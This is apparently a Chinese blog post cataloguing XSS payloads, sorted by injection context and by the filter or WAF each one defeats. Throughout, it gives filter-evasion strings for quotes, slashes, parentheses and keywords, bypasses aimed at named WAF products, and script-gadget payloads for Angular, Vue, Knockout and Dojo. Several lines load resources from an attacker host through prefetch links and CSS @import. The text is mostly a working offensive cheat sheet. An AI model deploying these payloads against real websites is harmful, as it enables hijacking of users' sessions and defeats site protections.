前言
本文收录我在各种论文、 ctf比赛中学习到的XSS payload和绕过过滤技巧。 本文会长期更新,如果有任何问题欢迎指出。
基本payload(按输出位置分类)
输出点在各种位置都适用的payload:
1 | javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+holive(1)//'> |
可以适应各种输出位置的payload,原理在我的另一篇文章XSS Filter Evasion Cheat Sheet研究中有详细介绍。
注意这里我们没有用常用的alert(1)来测试,主要因为这个语句已经被大部分的过滤器或WAF通缉,同时chrome也常禁用这条语句,使我们的测试非常不方便。因此我选择自定义一个不存在的函数名,通过控制台的错误信息可以判断语句是否被执行。 同时,控制台的网络日志也是查看是否执行的重要位置。
输出点在HTML节点的innerHTML中(非script节点)
1 | <svg onload=holive(1)> |
输出点在HTML节点的属性中
1 | onmouseover=holive(1)> |
如果可以闭合节点,则输出点在HTML节点的innerHTML中(非script节点)的payload同样适用。1
> + payloads_innerHTML
输出点在script节点中
1 | ;holive(1)// |
如果可以闭合节点,则输出点在HTML节点的innerHTML中(非script节点)的payload同样适用。1
</script> + payloads_innerHTML
输出在script节点中的情况,通常要结合上下文生成payload,使得js代码没有语法错误,较难自动生成
输出点在字符串中
闭合字符串即可1
2payload = '"' + payload
payload = '' + payload
如果前后有两个输出点,例如<img name="输出点a" src="输出点b">
,且\没被过滤,可以用\跳出字符串1
<img name="aa\" src=" src=1 onerror=alert(1);//">
输出点在\\
注释中
使用换行符跳出注释1
\nalert(1);//
变形payload(按过滤条件分类)
双引号被过滤
第一个是宽字节,第二个是利用过滤条件中的逻辑错误,将\"
转义为\\"
从而跳出引号1
2" -> %C0%22
" -> \"
/被过滤
在<link rel=prefetch href=//eviloh.xyz>
中,如果引号被过滤,可以用\
代替/
1
<link rel=prefetch href=\\eviloh.xyz>
空格被过滤
空格被过滤的情况下,可以根据空格位置选择绕过方式1
2<svg/onload=holive(1)>
<script>let/**/a=1;alert(a);</script>
括号被过滤
括号被过滤有多种绕过方法,html实体编码和js字符串的unicode编码在这些情况下非常好用1
2
3
4<img src=1 onerror=alert`1`>
<img src=1 onerror=alert(1)>
<img src=1 onerror=location="javascript:alert\u00281\u0029">
<svg><script>holive(1)</script>
.被过滤
如果在需要访问第三方域名或IP时发现.
被过滤,可以用中文的句号。
代替,浏览器会贴心地把句号换成点号1
<link rel=prefetch href=\\eviloh。xyz>
关键字”on”被过滤
1 | <form><button formaction=javascript:holive(1)>CLICKME</form> |
关键字”script”被过滤
尝试用大小写、 占位符、 重写绕过1
2
3script -> ScRiPt
script -> scr%0Aipt
script -> scrscriptipt
关键字”import”被过滤
1 | <STYLE>@imp\ort'eviloh.xyz'</STYLE> |
WAF绕过
这部分摘自XSS现代WAF规则探测及绕过技术的WAF部分,暂时没有条件逐一测试
ModSecurity
1 | <scri%00pt>confirm(0);</scri%00pt> |
WEB KNIGHT
1 | <isindex action=j	a	vas	c	r	ipt:alert(1) type=image> |
F5 BIG IP ASM and Palo ALTO
1 | <table background="javascript:alert(1)"></table> //IE6或者低版本Opera |
Dot Defender
1 | <svg/onload=prompt(1);> |
利用前端框架绕过
原理来自Breaking XSS mitigations via Script Gadgets,利用script gadgets配合前端框架绕过各种防御机制。 这几位牛人几乎测试了所有前端框架,他们的POC都在https://github.com/google/security-research-pocs/tree/master/script-gadgets中可以看到,感兴趣的可以仔细研究,这里我只列出部分我使用过的。
angular
1 | "><div ng-app ng-csp><div ng-focus=""x=$event"" id=f tabindex=0>foo</div><div ng-repeat=""(key, value) in x.view""><div ng-if=key==""window"">{{ value.alert = [1].reduce(value.alert, 1) }}</div></div></div><script>strict_dynamic_beacon();</script>')) |
vue
1 | <div id=app-4><script type=application/ecmascript>holive(1)</script></div> |
knockout
1 | <div data-bind="value:holive(1)"></div><!--ko text:holive(2)--><!--/ko--> |
dojo
1 | <div data-dojo-type="dijit/Declaration" data-dojo-props="}-holive(1)-{"> |
后话
影响xss payload生成的因素有:浏览器、 页面前端框架、 页面后端过滤条件、 输出位置等等,需要在实际情况中选择合适的载荷